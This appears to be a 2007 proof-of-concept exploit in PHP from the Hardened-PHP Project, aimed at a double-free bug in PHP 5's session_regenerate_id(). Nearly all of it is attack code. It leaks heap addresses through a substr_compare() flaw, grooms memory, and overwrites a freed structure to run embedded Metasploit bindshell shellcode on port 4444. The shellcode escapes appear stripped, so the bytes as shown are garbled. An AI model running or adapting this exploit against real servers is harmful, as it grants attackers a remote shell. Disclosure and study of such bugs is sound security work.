<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ | || || _  //
  // | __ |/ _` || '_|/ _` |/ -_)| '  / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|__,_||_|  __,_|___||_||_|___|__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //          PHP 5 session_regenerate_id() Double Free Exploit         //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // linux x86 bindshell on port 4444 from Metasploit
  $shellcode = "x29xc9x83xe9xebxd9xeexd9x74x24xf4x5bx81x73x13x46".
      "x32x3cxe5x83xebxfcxe2xf4x77xe9x6fxa6x15x58x3ex8f".
      "x20x6axa5x6cxa7xffxbcx73x05x60x5ax8dx57x6ex5axb6".
      "xcfxd3x56x83x1ex62x6dxb3xcfxd3xf1x65xf6x54xedx06".
      "x8bxb2x6exb7x10x71xb5x04xf6x54xf1x65xd5x58x3exbc".
      "xf6x0dxf1x65x0fx4bxc5x55x4dx60x54xcax69x41x54x8d".
      "x69x50x55x8bxcfxd1x6exb6xcfxd3xf1x65";

  // Offsets used for the overwrite (will be overwritten by findOffsets()
  $offset_1 = 0x55555555;
  $offset_2 = 0x08048040;
  
  findOffsets(); // Comment out if you want to just test the crash

  // Convert offsets into strings
  $addr1 = pack("L", $offset_1);
  $addr2 = pack("L", $offset_2);

  define("C0", $addr1[0]);
  define("C1", $addr1[1]);
  define("C2", $addr1[2]);
  define("C3", $addr1[3]);
  
  define("M0", $addr2[0]);
  define("M1", $addr2[1]);
  define("M2", $addr2[2]);
  define("M3", $addr2[3]);
  
  function myErrorHandler()
  {
    session_id(str_repeat("A", 100));
    
    $GLOBALS['str'] = str_repeat("A", 39);
    
    for ($i=0; $i<7; $i++) {
      $GLOBALS['str'][$i*4+0] = M0;
      $GLOBALS['str'][$i*4+1] = M1;
      $GLOBALS['str'][$i*4+2] = M2;
      $GLOBALS['str'][$i*4+3] = M3;
    }
    $GLOBALS['str'][8*4+0] = C0;
    $GLOBALS['str'][8*4+1] = C1;
    $GLOBALS['str'][8*4+2] = C2;
    $GLOBALS['str'][8*4+3] = C3;

    return true;
  }
  
  function doit()
  {
    ini_set("session.hash_bits_per_character", 666);
  
    error_reporting(E_ALL);
    set_error_handler("myErrorHandler");
    session_id(str_repeat("A", 39));
    session_start();
    session_regenerate_id();
  }
  
  doit();
  




  

  // This function uses the substr_compare() vulnerability
  // to get the offsets. 
  
  function findOffsets()
  {
    global $offset_1, $offset_2, $shellcode;
    // We need to NOT clear these variables,
    //  otherwise the heap is too segmented
    global $memdump, $d, $arr;
    
    $sizeofHashtable = 39;
    $maxlong = 0x7fffffff;

    // Signature of a big endian Hashtable of size 256 with 1 element
    $search = "x00x01x00x00xffx00x00x00x01x00x00x00";

    $memdump = str_repeat("A", 4096);
    for ($i=0; $i<400; $i++) {
	  $d[$i]=array();
    }
    unset($d[350]);
    $x = str_repeat("x01", $sizeofHashtable);
    unset($d[351]);
    unset($d[352]);
    $arr = array();
    for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
    $arr[$shellcode] = 1;
    for ($i=0; $i<129; $i++) { unset($arr[$i]); }

    // If the libc memcmp leaks the information use it
    // otherwise we only get a case insensitive memdump
    $b = substr_compare(chr(65),chr(0),0,1,false) != 65;

    for ($i=0; $i<4096; $i++) {
      $y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
      $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
      if ($y-$Y == 1 || $Y-$y==1){
        $y = chr($y);
        if ($b && strtoupper($y)!=$y) {
          if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
            $y = strtoupper($y);
          }
        }
        $memdump[$i] = $y;
      } else {
  	    $y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
        $Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
        if ($y-$Y != 1 && $Y-$y!=1){
	      $memdump[$i] = chr(1);
        } else {
          $memdump[$i] = chr(0);
        }   
      }
    }
    
    // Search shellcode and hashtable and calculate memory address
    $pos_shellcode = strpos($memdump, $shellcode);
    $pos_hashtable = strpos($memdump, $search);
    $addr = substr($memdump, $pos_hashtable+6*4, 4);
    $addr = unpack("L", $addr);
    
    // Fill in both offsets  
    $offset_1 = $addr[1] + 32;
    $offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4;
  }
  
?>

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